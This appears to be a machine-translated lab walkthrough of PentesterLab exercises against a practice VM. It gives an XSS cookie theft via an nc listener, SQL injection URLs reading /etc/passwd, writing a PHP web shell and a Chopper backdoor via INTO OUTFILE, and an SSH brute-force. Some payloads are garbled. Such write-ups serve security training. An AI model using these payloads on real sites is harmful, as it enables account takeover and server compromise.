Web attack target drone

Source: Internet
Author: User

SQL injection target drone attack process please refer to

Https://pentesterlab.com/exercises/from_sqli_to_shell/course

http://www.sohu.com/a/126855490_472906

For the attack process of XSS target drone, please refer to

Https://pentesterlab.com/exercises/xss_and_mysql_file/course

To open a webpage on a 192.168.179.140 machine:

It's a blogging system.

Each blog title can be evaluated below:

There is an XSS vulnerability in the test.

After submission there is a popup box:

Further structuring the content

<script>document.write ('  ');</script>
Open the 80 port with NC on the 192.168.179.140 machine at the same time.

Login the Admin account on the original machine, the password is p4ssw0rd

Log in and check out the comments you just posted. Then look at the return contents of the NC.

Gets the cookie information.

Copy the cookie to open the page where the comment is located. and modify the value of the cookie to the value you just copied.

After the refresh, you will be logged into the page as admin.

After entering the management interface, there is a SQL injection vulnerability found in the blog editing interface.

Http://192.168.179.140/admin/edit.php? id=4 Union Select 1,2,3,4

2 and 3 can be displayed.

http://192.168.179.140/admin/edit.php id=0 Union Select 1,2,load_file ("/etc/passwd"), 4

Read the passwd file, but cannot read the shadow file.

Attempts to create a file.

There is a/var/www/classes directory in the edit page discovery error prompt.

CSS catalog found when viewing Web page source code

After attempting to find the/var/www/css directory writable.

Then construct the statement:

Http://192.168.179.140/admin/edit.php?id=2%20union%20select%201,2,3,4%20into%20outfile%20%22/var/www/css/s.php%22

Then open

http://192.168.179.140/css/s.php

Show:

Description The s.php file was successfully written to the/VAR/WWW/CSS directory,

Next you will

<?php System ($_get[' C ');?>

To write z.php, construct the URL as:

Http://192.168.179.140/admin/edit.php?id=2%20union%20select%201,2,%22%3C?php%20system ($_get[%27c%27]);%20?%3e% 22,4%20into%20outfile%20%22/var/www/css/z.php%22

Access z.php and use UNAME-A to obtain system information. Commands can be executed remotely.

Write the following sentence to a trojan, construct the URL:

Http://192.168.179.140/admin/edit.php?id=2%20union%20select%201,2,%22%3c?php%[email protected] ($_POST[% 27CHOPPER%27]);? %3e%22,4%20into%20outfile%20%22/var/www/css/dao.php%22

Chopper Links:

The machine was previously found to have SSH, so it was blasted with Hydra:

SSH Login

Web attack target drone

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.